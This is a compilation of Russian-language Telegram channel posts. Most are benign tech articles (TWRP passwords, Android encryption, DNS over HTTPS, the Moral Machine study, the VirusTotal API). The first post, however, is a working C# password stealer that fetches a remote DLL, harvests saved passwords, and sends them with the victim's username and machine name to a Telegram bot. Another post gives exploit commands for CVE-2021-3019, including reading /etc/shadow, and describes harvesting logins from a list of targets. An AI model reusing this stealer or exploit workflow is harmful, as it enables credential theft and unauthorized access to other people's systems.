Бюро121

Динамическая загрузка DLL (пишем стиллер в 9кб)

2021-01-26T09:44:06.231Z

Источник: t.me/Bureau121

Будем юзать пространство имен System.Reflections

Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля

public static byte[] GetLibrary()
{
    byte[] dll = new byte[0];
    string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll";
    using (var client = new WebClient())
    {
        try {
            dll = client.DownloadData(url);
        } catch (WebException) {
            Environment.Exit(1);
        }
    }
    return dll;
}

Теперь напишем функцию GetPasswords которая

принимает байты дллки
загружает её
вызывает функцию оттуда
и возвращает пароли нам

public static string GetPasswords(byte[] dll)
{
    // Загрузить дллку
    Assembly asm = Assembly.Load(dll);
    // Создать экземпляр
    dynamic instance = Activator.CreateInstance(
        asm.GetType("PasswordStealer.Stealer"));
    // Получить функцию восстановления паролей из дллки
    MethodInfo runMethod = instance.GetType().GetMethod("Run",
        BindingFlags.Instance | BindingFlags.Public);
    // Вызов метода восстановления паролей
    string passwords = (string)runMethod.Invoke(
        instance, new object[] { });
    // Возвращаем пассы
    return passwords;
}

Функция UploadReport будет отправлять пароли в телегу

C#:

public static bool UploadReport(string passwords)
{
    string report = $"*New report*\n" +
        $"*UserName:* {Environment.UserName}\n" +
        $"*CompName:* {Environment.MachineName}\n\n" +
        $"*Passwords:* \n{passwords}";
    string telegram_api = "https://api.telegram.org/bot";
    using (var client = new WebClient())
    {
        try
        {
            string response = client.DownloadString(
                telegram_api + "<TOKEN>" +
                "/sendMessage?chat_id=<CHAT_ID>"+
                "&text=" + report +
                "&disable_web_page_preview=True" +
                "&parse_mode=Markdown"
            );
            return response.Contains("\"ok\":true,");
        }
        catch (WebException)
        {
            return false;
        }
    }
}

И главная функция

C#:

static void Main()
{
    // Это надо для правильной отправки
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                                         | SecurityProtocolType.Tls11
                                         | SecurityProtocolType.Tls12
                                         | SecurityProtocolType.Ssl3;

    byte[] dll = GetLibrary(); // Скачать байты dll
    string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
    UploadReport(pwd); // Отправляем пароли боту Telegram
}

ПОДПИСАТЬСЯ - Бюро121

Как установить пароль на TWRP и заблокировать recovery смартфона. Шифрование данных Android

2021-01-24T15:14:25.308Z

Источник: t.me/Bureau121

Для защиты личных данных довольно много пользователей ставят защитные элементы, которыми могут выступать сканеры отпечатков пальца, распознавание лица по Face ID, графические символы или стандартные пароли из букв и цифр.

В TWRP есть функция – блокировка и защита паролем. Мы не говорим о PIN-кодах или паролях, которые вы устанавливаете для экрана блокировки своего телефона. Блокировка о которой мы рассказываем применяется только к TWRP. Когда вы выключите устройство и загрузитесь в TWRP, recovery запросит код блокировки, чтобы продолжить.

Это действительно полезная функция. Если ваш телефон украдут и вор попытается стереть все данные, он не сможет это сделать, потому что у него нет кода блокировки. Эта функция может быть применена ко всем устройствам, у которых есть активное восстановление TWRP.

Включить блокировку пароля в TWRP

Загрузите файл, который включает блокировку паролей: ui.zip
Загрузите zip-файл на свой телефон и переместите его в / sdcard / TWRP / theme.
Выключаем телефон и загружаемся в рекавери.
Зайдите в «Настройки» и там вы можете установить и изменить пароль, который вам нравится.

После того, как вы создали пароль, перезагрузите телефон и попробуйте загрузиться в TWRP. Вам будет предложено ввести код пароля.

Зачем блокировать TWRP

Многие впервые сталкивались с TWRP не с целью создания полного бэкапа системы, так называемого Nandro >прошивки кастомного ROM на свой смартфон.
Пользователи, которые интересуются системой Andro >чтобы сбросить пароль или графический ключ блокировки, можно в рекавери сделать full wipe .

Оба примера показывают, насколько мощным помощником может быть режим восстановления в умелых руках. Но как обезопасить себя от несанкционированного доступа к такому инструменту со стороны третьих лиц? Достаточно простой и удобный способ – установить пароль на вход в рекавери.

Способы, из данной статьи, не дают 100%-й защиты от вмешательства в систему посредством меню рекавери, так как установка пароля на вход в TWRP не препятствует повторной перепрошивке самого Recovery с потерей произведённых настроек, но в неумелых руках однозначно затруднит использование смартфона мошенником или вором.

Запрашивает пароль нa TWRP! Не понимаю что за пароль надо ввести и для чего! Расшифровать данные?

«Среда восстановления» Вашего телефона является частью программного обеспечения, которое Вы редко видите. Она используется для установки обновления Android, восстановления к заводским настройкам, а также выполняет другие задачи. Среда восстановления от Google, установленная по-умолчанию, очень простая, но сторонние разработчики предлагают свои решения, например, Team Win Recovery Project (TWRP) — позволяет Вам делать резервные копии, устанавливать пользовательские прошивки, получать права суперпользователя, а также еще много чего полезного.

Самый простой способ – ввести в графе пароля 8 нолей. Практически всегда это помогает.

Шифрование данных на Android-устройствах. TWRP требует пароль, потому что /data зашифрован

Вы используете свой смартфон (планшет) Android, чтобы сохранить персональные фотографии, читаете важные электронные письма, делаете онлайн-покупки с помощью вашей кредитной карты, редактируете и передаете важные документы? Если ваш ответ «да», то вы должны задуматься о шифровании вашего устройства.

Самая главная защита устройства — это экран блокировки с паролем или графическим ключом. По уровню защиты они абсолютно одинаковы. Именно с ними злоумышленнику предстоит столкнуться в первую очередь, так что пароль тут нужен хороший.

Шифрование вашего телефона означает, что если телефон заблокирован, то файлы зашифрованы. Любые файлы, отправляемые и получаемые с вашего телефона, не будут зашифрованы, если вы не используете дополнительные методы. Единственная разница между незашифрованным и зашифрованным телефоном с точки зрения пользователя в том, что вы должны будете теперь использовать пароль для разблокирования телефона (планшета).

Если ваш телефон не зашифрован, то пароль — это просто блокировка экрана. Фактически, в данном случае пароль просто блокирует экран — то есть, не делает ничего, чтобы защитить файлы, которые хранятся на устройстве.

Как включить шифрование на Android-устройстве?

Откройте меню Настройки.

2. В Настройках выберите Безопасность > Шифрование (Зашифровать устройство).

3. В соответствии с требованиями, вам необходимо ввести пароль длиной не менее шести символов, по крайней мере один из которых является числом.

Как только вы зададите пароль, запустится процесс шифрования ваших файлов. Шифрование может занять час или больше, таким образом, до начала шифрования вы должны включить зарядное устройство.

Как расшифровать?

Чтобы окончательно расшифровать файловую систему, вам нужно отформатировать /data. Помните, что форматирование /data удалит все ваши файлы, включая фотографии, музыку и т. д. из вашего внутреннего хранилища.

Таким образом, на сегодня существует непростой выбор — либо вы шифруете ваше устройство и миритесь с огромными неудобствами, либо вы получаете удобство использования, но в ущерб безопасности.

По итогам

Как результат, если установить пароль на Recovery и на сам смартфон, мы получим полностью зашифрованный аппарат с пин-кодом на экране блокировки, залоченным загрузчиком и запароленной кастомной консолью восстановления. Практически неприступная крепость. Злоумышленник не сможет даже сбросить смартфон до заводских настроек. Но есть один нюанс: содержимое карты памяти будет зашифровано только в том случае, если она встроенная.

ПОДПИСАТЬСЯ - Бюро121

DNS over HTTPS Firefox

2021-01-21T14:28:53.274Z

Источник: t.me/Bureau121

DNS over HTTPS – относительно новая технология, которая предназначена для улучшения конфиденциальности, безопасности и надежности подключения DNS.

Системы доменных имен (DNS) играют очень важную роль – они позволяют сопоставлять адреса, вводимые в адресную строку с соответствующими IP-адресами. Обычно поиск DNS осуществляется автоматически и обычно без какого-либо шифрования или защиты от посторонних глаз.

Пользователи сети Интернет всегда имели альтернативы – подключение к VPN-службе, которая использует провайдер DNS, предоставляющий улучшенную защиту данных, или использование DNSCrypt для повышения безопасности и конфиденциальности.

DNS over HTTPS – еще один вариант, который появился сравнительно недавно. Mozilla добавила основную функциональность данной технологии в Firefox 60+.

Как настроить «DNS через HTTPS» в Firefox

Пользователи Firefox Browser могут настроить браузер, чтобы использовать DNS over HTTPS уже сейчас. Если вы используете как минимум 62.x, то вы сможете настроить функцию. Пожалуйста, обратите внимание, что использование DNS over HTTPS может привести к проблемам подключения, но все изменения обратимы.

Как настроить DNS over HTTPS в Firefox через параметры браузера

Перейдите в меню Настройки > Основные > Параметры сети и нажмите кнопку Настроить.
В открывшемся окне включите параметр Включить DNS через HTTPS, в выпадающем меню Используемый провайдер выберите предложенные по умолчанию Cloudflare DNS или NextDNS, или укажите другого провайдера с поддержкой DNS-over-HTTPS, выбрав Другой URL.

Например, чтобы использовать шифрование DNS-запросов с помощью openDNS укажите в поле Другой URL следующее значение:

https://doh.opendns.com/dns-query

Нажмите ОК и ваши DNS-запросы будут зашифрованы.

Как настроить DNS over HTTPS в Firefox через конфиг about:config

Примечание: Данный вариант настройки рекомендуется для опытных пользователей.

Для настройки DNS over HTTPS нужно изменить три параметра нового резольвера TRR (Trusted Recursive Resolver) в браузере:

Введите about:config в адресную строку Firefox.
Подтвердите, что вы принимаете на себя весь риск, если откроется страница с предупреждением.
С помощью строки поиска найдите параметр network.trr.mode и дважды щелкните по нему.Установите значение, равное 2, чтобы технология DNS over HTTPS была выбрана по умолчанию, а ваш стандартный DNS-сервер использовался в качестве резервного. Это оптимальный вариант с точки зрения совместимости.
Вы можете установить значение 1, чтобы Firefox выбрал самый быстрый вариант; 3 – чтобы использовать только TRR; 4 – теневой режим: запускает TRR параллельно со стандартным DNS для синхронизации и измерений, но использует только результаты стандартного резольвера; 0 – чтобы отключить TRR по умолчанию, 5 – чтобы отключить TRR по выбору.

С помощью строки поиска найдите параметр network.trr.uri. В Firefox нужно будет ввести адрес сервера DNS over HTTPS. Дважды щелкните по названию параметра. На данный момент доступно множество общедоступных серверов, среди которых можно выделить Cloudflare DNS, Google Public DNS, Cisco OpenDNS:

https://mozilla.cloudflare-dns.com/dns-query

Примечание: Mozilla заключила с Cloudflare соглашение, согласно которому регистрируемые и сохраняемые данные ограничены.

https://dns.google/dns-query
https://doh.opendns.com/dns-query

Вы также можете воспользоваться нашим защищенным DNS-сервером Comss.one DNS:

https://dns.comss.one/dns-query

Найдите параметр network.trr.bootstrapAddress и дважды щелкните по немуУстановите значение 1.1.1.1, если выбрали Cloudflare
Установите значение 8.8.8.8, если выбрали Google DNS
Установите значение 208.67.222.222, если выбрали Cisco OpenDNS
Установите значение 93.115.24.204, если выбрали Comss.one DNS
Перезапустите браузер Firefox.

Как проверить работу DNS over HTTPS в Firefox?

После настройки введите в адресную строку Firefox about:networking и нажмите ссылку DNS в меню слева. Откроется страница, на которой показывается содержимое кэша DNS в памяти.
В столбце TRR будет указано «true» для имен хостов, которые используют DNS-over-HTTPS.

Проверить работу DNS также можно с помощью сервиса DNS Leak Test (нажмите кнопку Extended test). Убедитесь, что все найденные DNS-серверы относятся к выбранному в качестве основного DNS. Например, если выбрали Cisco OpenDNS:

ПОДПИСАТЬСЯ - Бюро121

Кого беспилотный автомобиль предпочтёт задавить, если потери неизбежны?

2021-01-20T15:31:21.195Z

Источник: t.me/Bureau121

За два года в исследовании приняли участие больше 2 млн людей со всего мира. Они предоставили 40 млн решений для смоделированных ситуаций.

Представляю вам результаты этого эксперимента.

Пример задания из теста. Тормоза беспилотного автомобиля отказали. Что предпочтительнее: сохранять курс (тогда погибнут трое пожилых людей, переходящих дорогу на красный свет) — или свернуть и врезаться в ограждение (погибнут двое взрослых людей и ребенок, находящиеся в машине)?

Суть исследования

Moral Machine предлагает ряд ситуаций с неизбежными авариями. В зависимости от поведения беспилотного автомобиля исход будет разным. Пользователь должен выбрать наиболее предпочтительный сценарий.

Исследование должно было дать ответ на 9 главных вопросов о том, что предпочтительнее:

сохранить жизнь человека или животного;
сохранить курс или свернуть;
сохранить жизнь пассажиров или пешеходов;
наибольшего количества людей или наименьшего;
мужчин или женщин;
молодых или стариков;
толстых или худых;
пешеходов, переходящих дорогу в соответствии с ПДД, или пешеходов-нарушителей;
людей с высоким или низким социальным статусом.

В некоторых сценариях были дополнительные факторы: например, в них участвовали преступники, беременные женщины и доктора. Эти характеристики были нужны в основном для того, чтобы ситуации не выглядели похоже для испытуемых.

После решения 13 ситуаций участники могли пройти опрос и указать демографические данные: пол, возраст, доход, образование, религиозные и политические взгляды. Для каждого участника фиксировалось его геоположение.

География респондентов. Каждая точка на карте обозначает, что хотя бы один пользователь данного региона прошел хотя бы одно задание теста

Результаты исследования должны помочь разработать универсальную этику беспилотных автомобилей и понять, должна ли она отличаться в зависимости от конкретного географического региона.

Глобальные предпочтения

Наиболее общие предпочтения, что довольно предсказуемо, — спасение людей, а не животных, спасение наибольшего количества жизней и спасение молодых жизней. Эти три постулата могут стать фундаментом для этики беспилотных автомобилей.

В каждом ряду ΔP — это различие между предпочтительным спасением жизней из правого столбца по сравнению с жизнями в левом столбце. Например, для параметра возраста (Age) предпочтительное спасение молодых жизней на 0.49 больше, чем спасения жизней пожилых.

Индивидуальные различия

Демографический опрос после основного теста прошли 492 921 пользователей. Их данные помогли понять индивидуальные факторы принятия решений.

Оказалось, что наибольшее влияние на решение оказывают пол и религиозность респондентов. Например, респонденты-мужчины на 0,06% реже решают оставить в живых женщин, а наиболее религиозные респонденты на 0,09% чаще предпочитают спасать людей по сравнению с животными. Но ни один из шести демографических факторов не оказывает очень сильного влияния на выбор: скажем, и мужчины, и женщины предпочитают спасать женские жизни — просто женщины делают этот выбор чаще.

Культурные различия

Испытуемых разбили на три культурных кластера:

западный

В него вошли жители Северной Америки и многих европейских стран. По вероисповеданию — протестанты, католики и православные.

восточный

Восточные страны, такие как Япония, Тайвань (конфуцианство)

Индонезия, Пакистан, Саудовская Аравия (мусульманство)

южный

Страны Латинской Америки и страны под французским влиянием

Оказалось, что:

Предпочтительное спасение жизней молодых менее выражено в восточном кластере и намного выше в южном кластере.
В южном кластере наименее выражено предпочтение жизни людей по сравнению с животными.
Для южного кластера характерно сильное предпочтение спасения жизней женщин и жизней стройных людей.

ПОДПИСАТЬСЯ - Бюро121

Уязвимость CVE-2021-3019

2021-01-20T07:10:16.066Z

Источник: t.me/Bureau121

Представляет собой уязвимость Directory Traversal

Позволяет обходить каталог Ffay в lanproxy и читать файлы конфигурации.

Интересно,что обнаружена уязвимость была 4-5 января 2021 года и ей присвоили средний класс опасности.

На данный момент класс опасности повышен. Ещё бы,ведь там где чтение конфиденциальных данных,там и вероятный угон сервера.

Вся информация предоставлена исключительно для ознакомления и изучения проблем безопасности. Категорически запрещено применение рассматриваемого материала в незаконных целях.

В своём тестировании остановился на двух exploit. Мы рассмотрим работу обоих вариантов. Первый был опубликован сегодня автором Negan.

Exploit 1

# git clone https://github.com/liuxu54898/CVE-2021-3019.git
# Python3 CVE-2021-3019.py url.txt -работа с целевым списком

Другой exploit ,также отличается хорошей результативностью,от FanqXu.

Exploit 2

# git clone https://github.com/FanqXu/CVE-2021-3019.git
# python3 POC.py -u http://127.0.0.1:9100 -r /etc/shadow -чтение файлов
# python3 POC.py -u http://127.0.0.1:9100 - чтение конфигурационного файла
# python3 POC.py -f urls.txt - работа с файлом с целевым списком url-адресов

Перейдём к демонстрации работы эксплойтов и эксплуатации уязвимости.

Единственное,надо знать на каком порте висит админка тестируемого ресурса.

Также пришлось создать текстовый файл url.txt для работы с эксплойтами.

Эксплойт от Negan показался несколько удобен в выводе информации

Можно видеть,что все цели практически из списка оказались подвержены уязвимости.

Пароли с логинами получены,заметьте,что пароли встречаются как недопустимые,так и сложные.

Также данная информация сохранится в файле .csv в директории эксплойта.

Посмотрим на работу эксплойта от FanqXu.

Попробуем прочитать файл с паролями тестируемого ресурса.

Тоже неплохо,всё получаем и нам выводится сообщение о том,что цель подвержена уязвимости.

И в завершении тестирования проверим насколько данная уязвимость действительно заслуживает повышенного класса опасности.

С полученными данными злоумышленник может авторизовываться,создавать клиентов,удалять,менять настройки и т.д.

Права бывают часто админские.

Но вредить ресурсу не станем и как здравые люди нажмём кнопку выхода в правом углу.

Вся опасность выявленной уязвимости, думаю, понятна.

Защита: Это 0day на данный момент.

ПОДПИСАТЬСЯ - Бюро121

Тотальная проверка. Используем API VirusTotal в своих проектах

2020-02-28T17:48:47.672Z

Источник: t.me/Bureau121

Содержание статьи

Получаем API Key
Версии API
API VirusTotal. Версия 2
API VirusTotal. Версия 3
Заключение

Чтобы пользоваться программными интерфейсами VirusTotal без ограничений, нужно получить ключ, который обходится в серьезную сумму — цены начинаются с 700 евро в месяц. Причем частному лицу даже при готовности платить ключ не дадут.

Однако отчаиваться не стоит, поскольку основные функции сервис предоставляет бесплатно и ограничивает нас лишь по числу запросов — не более двух в минуту. Что ж, придется с этим мириться.

Получаем API Key

Итак, первым делом нам нужна регистрация на сайте. Тут проблем никаких — я уверен, что ты справишься. После регистрации берем ключ доступа, перейдя в пункт меню API key.

Версии API

Сейчас актуальная версия API имеет номер 2. Но при этом уже существует и новый вариант — номер 3. Эта версия API пока еще находится в стадии беты, но ее уже вполне можно использовать, тем более что возможности, которые она предоставляет, гораздо шире.

Разработчики пока что рекомендуют применять третью версию только для экспериментов либо для некритичных проектов. Мы же разберем обе версии. Ключ доступа для них одинаков.

API VirusTotal. Версия 2

Как и в случае с другими популярными веб-сервисами, работа с API заключается в пересылке запросов по HTTP и получении ответов.

API второй версии позволяет:

отправлять файлы на проверку;
получать отчет по проверенным ранее файлам, с использованием идентификатора файла (хеш файла SHA-256, SHA-1 или MD5 либо значение scan_id из ответа, полученного после отправки файла);
отправлять URL для сканирования на сервер;
получать отчет по проверенным ранее адресам с использованием либо непосредственно URL, либо значения scan_id из ответа, полученного после отправки URL на сервер;
получать отчет по IP-адресу;
получать отчет по доменному имени.

Ошибки

Если запрос был правильно обработан и ошибок не возникло, будет возвращен код 200 (OK).

Если же произошла ошибка, то могут быть такие варианты:

204 — ошибка типа Request rate limit exceeded. Возникает, когда превышена квота допустимого количества запросов (для бесплатного ключа квота составляет четыре запроса в минуту);
400 — ошибка типа Bad request. Возникает, когда некорректно сформирован запрос, например если нет нужных аргументов или у них недопустимые значения;
403 — ошибка типа Forbidden. Возникает, если пытаться использовать функции API, доступные только с платным ключом, когда его нет.

При правильном формировании запроса (код состояния HTTP — 200) ответ будет представлять собой объект JSON, в теле которого присутствуют как минимум два поля:

response_code — если запрашиваемый объект (файл, URL, IP-адрес или имя домена) есть в базе VirusTotal (то есть проверялся раньше) и информация об этом объекте может быть получена, то значение этого поля будет равно единице; если запрашиваемый объект находится в очереди на анализ, значение поля будет -2; если запрашиваемый объект отсутствует в базе VirusTotal — равно нулю;
verbose_msg предоставляет более подробное описание значения response_code (например, Scan finished, information embedded после отправки файла на сканирование).

Остальная информация, содержащаяся в ответном объекте JSON, зависит от того, какая функция API была использована.

Отправка файла на сервер для сканирования

Для отправки файла на сканирование необходимо сформировать POST-запрос на адрес https://www.virustotal.com/vtapi/v2, при этом в запросе нужно указать ключ доступа к API и передать сам файл (здесь есть ограничение на размер файла — не более 32 Мбайт). Это может выглядеть следующим образом (используем Python):

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/scan'
params = dict(apikey='<ключ доступа>')
with open('<путь к файлу>', 'rb') as file:
  files = dict(file=('<путь к файлу>', file))
  response = requests.post(api_url, files=files, params=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...

Здесь вместо строки <ключ доступа> необходимо вставить свой ключ доступа к API, а вместо <путь к файлу> — путь к файлу, который ты будешь отправлять в VirusTotal. Если у тебя нет библиотеки requests, то поставь ее командой pip install requests.

В ответ, если все прошло успешно и код состояния HTTP равен 200, мы получим примерно вот такую картину:

{
  "response_code": 1,
  "verbose_msg": "Scan request successfully queued, come back later for the report",
  "scan_id": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276",
  "resource": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
  "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
  "md5": "44d88612fea8a8f36de82e1278abb02f",
  "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
  "permalink": "https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1577043276/"  
}

Здесь мы видим значения response_code и verbose_msg, а также хеши файла SHA-256, SHA-1 и MD5, ссылку на результаты сканирования файла на сайте permalink и идентификатор файла scan_id.

Получение отчета о последнем сканировании файла

Используя какой-либо из хешей или значение scan_id из ответа, можно получить отчет по последнему сканированию файла (если файл уже загружался на VirusTotal). Для этого нужно сформировать GET-запрос и в запросе указать ключ доступа и идентификатор файла. Например, если у нас есть scan_id из предыдущего примера, то запрос будет выглядеть так:

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='<ключ доступа>', resource='275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276')
response = requests.get(api_url, params=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...

В случае успеха в ответ мы увидим следующее:

{
  "response_code": 1,
  "verbose_msg": "Scan finished, information embedded",
  "resource": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
  "sha1": "3395856ce81f2b7382dee72602f798b642f14140",
  "md5": "44d88612fea8a8f36de82e1278abb02f",
  "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
  "scan_date": "2019-11-27 08:06:03",
  "permalink": "https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1577043276/",
  "positives": 59,
  "total": 69,
  "scans": {
    "Bkav": {
      "detected": true,
      "version": "1.3.0.9899",
      "result": "DOS.EiracA.Trojan",
      "update": "20191220"
    },
    "DrWeb": {
      "detected": true,
      "version": "7.0.42.9300",
      "result": "EICAR Test File (NOT a Virus!)",
       "update": "20191222"
    },
    "MicroWorld-eScan": {
      "detected": true,
      "version": "14.0.297.0",
      "result": "EICAR-Test-File",
      "update": "20191222"
    },
    ...
  ...
  "Panda": {
    "detected": true,
    "version": "4.6.4.2",
    "result": "EICAR-AV-TEST-FILE",
    "update": "20191222"
  },
  "Qihoo-360": {
    "detected": true,
    "version": "1.0.0.1120",
    "result": "qex.eicar.gen.gen",
    "update": "20191222"
  }
}

Здесь, как и в первом примере, получаем значения хешей файла, scan_id, permalink, значения response_code и verbose_msg. Также видим результаты сканирования файла антивирусами и общие результаты оценки total — сколько всего антивирусных движков было задействовано в проверке и positives — сколько антивирусов дали положительный вердикт.

Чтобы вывести результаты сканирования всеми антивирусами в удобоваримом виде, можно, например, написать что-то в таком роде:

import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='<ключ доступа>', resource='275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276')
response = requests.get(api_url, params=params)
if response.status_code == 200:
  result=response.json()
  for key in result['scans']:
    print(key)
    print('  Detected: ', result['scans'][key]['detected'])
    print('  Version: ', result['scans'][key]['version'])
    print('  Update: ', result['scans'][key]['update'])
    print('  Result: ', 'result['scans'][key]['result'])
...

Отправка URL на сервер для сканирования

Чтобы отправить URL для сканирования, нам необходимо сформировать и послать POST-запрос, содержащий ключ доступа и сам URL:

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
params = dict(apikey='<ключ доступа>', url='https://xakep.ru/author/drobotun/')
response = requests.post(api_url, data=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...

В ответ мы получим примерно то же, что и при отправке файла, за исключением значений хеша. Содержимое поля scan_id можно использовать для получения отчета о сканировании данного URL.

Получение отчета о результатах сканирования URL-адреса

Сформируем GET-запрос с ключом доступа и укажем либо непосредственно сам URL в виде строки, либо значение scan_id, полученное с помощью предыдущей функции. Это будет выглядеть следующим образом:

import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/url/report'
params = dict(apikey='<ключ доступа>', resource='https://xakep.ru/author/drobotun/', scan=0)
response = requests.get(api_url, params=params)
if response.status_code == 200:
  result=response.json()
  print(json.dumps(result, sort_keys=False, indent=4))
...

Помимо ключа доступа и строки с URL, здесь присутствует опциональный параметр scan — по умолчанию он равен нулю. Если же его значение равно единице, то, когда информации о запрашиваемом URL в базе VirusTotal нет (URL ранее не проверялся), этот URL будет автоматически отправлен на сервер для проверки, после чего в ответ мы получим ту же информацию, что и при отправке URL на сервер. Если этот параметр равен нулю (или не задавался), мы получим отчет об этом URL либо (если информация о нем в базе VirusTotal отсутствует) ответ такого вида:

{
  "response_code": 0,
  "resource": "<запрашиваемый URL>",
  "verbose_msg": "Resource does not exist in the dataset"
}

Получение информации об IP-адресах и доменах

Чтобы проверить IP-адреса и домены, нужно сформировать и отправить GET-запрос с ключом, именем проверяемого домена либо IP в виде строки. Для проверки домена это выглядит так:

...
api_url = 'https://www.virustotal.com/vtapi/v2/domain/report'
params = dict(apikey='<ключ доступа>', domain=<'имя домена'>)
response = requests.get(api_url, params=params)
...

Для проверки IP-адреса:

...
api_url = 'https://www.virustotal.com/vtapi/v2/ip-address/report'
params = dict(apikey='<ключ доступа>', ip=<'IP-адрес'>)
response = requests.get(api_url, params=params)
...

Ответы на такие запросы объемны и содержат много информации. Например, для IP 178.248.232.27 (это IP «Хакера») начало отчета, полученного с сервера VirusTotal, выглядит так:

{
  "country": "RU",
  "response_code": 1,
  "as_owner": "HLL LLC",
  "verbose_msg": "IP address in dataset",
  "continent": "EU",
  "detected_urls": [
    {
    "url": "https://xakep.ru/author/drobotun/",
    "positives": 1,
    "total": 72,
    "scan_date": "2019-12-18 19:45:02"
    },
    {
    "url": "https://xakep.ru/2019/12/18/linux-backup/",
    "positives": 1,
    "total": 72,
    "scan_date": "2019-12-18 16:35:25"
    },
    ...
  ]
}

API VirusTotal. Версия 3

В третьей версии API намного больше возможностей по сравнению со второй — даже с использованием бесплатного ключа. Более того, при экспериментах с третьей версией я не заметил, чтобы ограничивалось число загружаемых объектов (файлов или адресов) на сервер в течение минуты. Похоже, ограничения в бете пока вообще не действуют.

Функции третьей версии API спроектированы с использованием принципов REST и просты для понимания. Ключ доступа здесь передается в заголовке запроса.

Ошибки

В третьей версии API список ошибок (и, соответственно, кодов состояния HTTP) расширился. Были добавлены:

401 — ошибка типа User Not Active Error, она возникает, когда учетная запись пользователя неактивна;
401 — ошибка типа Wrong Credentials Error, возникает, если в запросе использован неверный ключ доступа;
404 Not Found Error возникает, когда запрашиваемый объект анализа не найден;
409 — ошибка типа Already Exists Error, возникает, когда ресурс уже существует;
429 — ошибка типа Quota Exceeded Error, возникает при превышении одной из квот на число запросов (минутной, ежедневной или ежемесячной). Как я уже говорил, во время моих экспериментов никаких ограничений по количеству запросов в минуту не наблюдалось, хотя я использовал бесплатный ключ;
429 — ошибка типа Too Many Requests Error, возникает при большом числе запросов за короткое время (может быть вызвана загруженностью сервера);
503 — ошибка типа Transient Error, временная ошибка сервера, при которой повторная попытка запроса может сработать.

В случае ошибки, помимо кода состояния, сервер возвращает дополнительную информацию в форме JSON. Правда, как выяснилось, не для всех кодов состояния HTTP: к примеру, для ошибки 404 дополнительная информация представляет собой обычную строку.

Формат JSON для ошибки следующий:

{
  "error": {
    "code": "<код состояния HTTP>",
    "message": "<сообщение с описанием ошибки>"
  }
}

Функции работы с файлами

Третья версия API позволяет:

загрузить файлы для анализа на сервер;
получить URL для загрузки на сервер файла размером больше 32 Мбайт;
получить отчеты о результатах анализа файлов;
повторно проанализировать файл;
получить комментарии пользователей VirusTotal к нужному файлу;
отправить свой комментарий к определенному файлу;
посмотреть результаты голосования по определенному файлу;
проголосовать за файл;
получить расширенную информацию о файле.

Для загрузки файла на сервер нужно его отправить через POST-запрос. Это можно сделать так:

... 
api_url = 'https://www.virustotal.com/api/v3/files'
headers = {'x-apikey' : '<ключ доступа к API>'}
with open('<путь к файлу>', 'rb') as file:
  files = {'file': ('<путь к файлу>', file)}
  response = requests.post(api_url, headers=headers, files=files)
...

В ответ мы получим следующее:

{
  "data": {
    "id": "ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NzIxOTQ1Mg==",
    "type": "analysis"
  }
}

Здесь мы видим значение id, которое служит идентификатором файла. Этот идентификатор нужно использовать для получения информации об анализе файла в GET-запросах типа /analyses (об этом мы поговорим чуть позже).

Чтобы получить URL для загрузки большого файла (более 32 Мбайт), нужно отправить GET-запрос, в котором в качестве URL указывается https://www.virustotal.com/api/v3/files/upload_url. В заголовок вставляем ключ доступа:

...
api_url = 'https://www.virustotal.com/api/v3/files/upload_url'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

В ответ получим JSON с адресом, по которому следует загрузить файл для анализа. Полученный URL при этом можно использовать только один раз.

Чтобы получить информацию о файле, который сервис уже анализировал, нужно сделать GET-запрос с идентификатором файла в URL (им может быть хеш SHA-256, SHA-1 или MD5). Так же как и в предыдущих случаях, указываем в заголовке ключ доступа:

...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...

В ответ мы получим отчет о проверке файла, где, помимо результатов сканирования всеми антивирусами VirusTotal, будет много дополнительной информации, состав которой зависит от типа проверенного файла. Например, для исполняемых файлов можно увидеть информацию о таких атрибутах:

{
  "attributes": {
    "authentihash": "8fcc2f670a166ea78ca239375ed312055c74efdc1f47e79d69966461dd1b2fb6",
    "creation_date": 1270596357,
    "exiftool": {
      "CharacterSet": "Unicode",
      "CodeSize": 20480,
      "CompanyName": "TYV",
      "EntryPoint": "0x109c",
      "FileFlagsMask": "0x0000",
      "FileOS": "Win32",
      "FileSubtype": 0,
      "FileType": "Win32 EXE",
      "FileTypeExtension": "exe",
      "FileVersion": 1.0,
      "FileVersionNumber": "1.0.0.0",
      "ImageFileCharacteristics": "No relocs, Executable, No line numbers, No symbols, 32-bit",
      ...
      ...
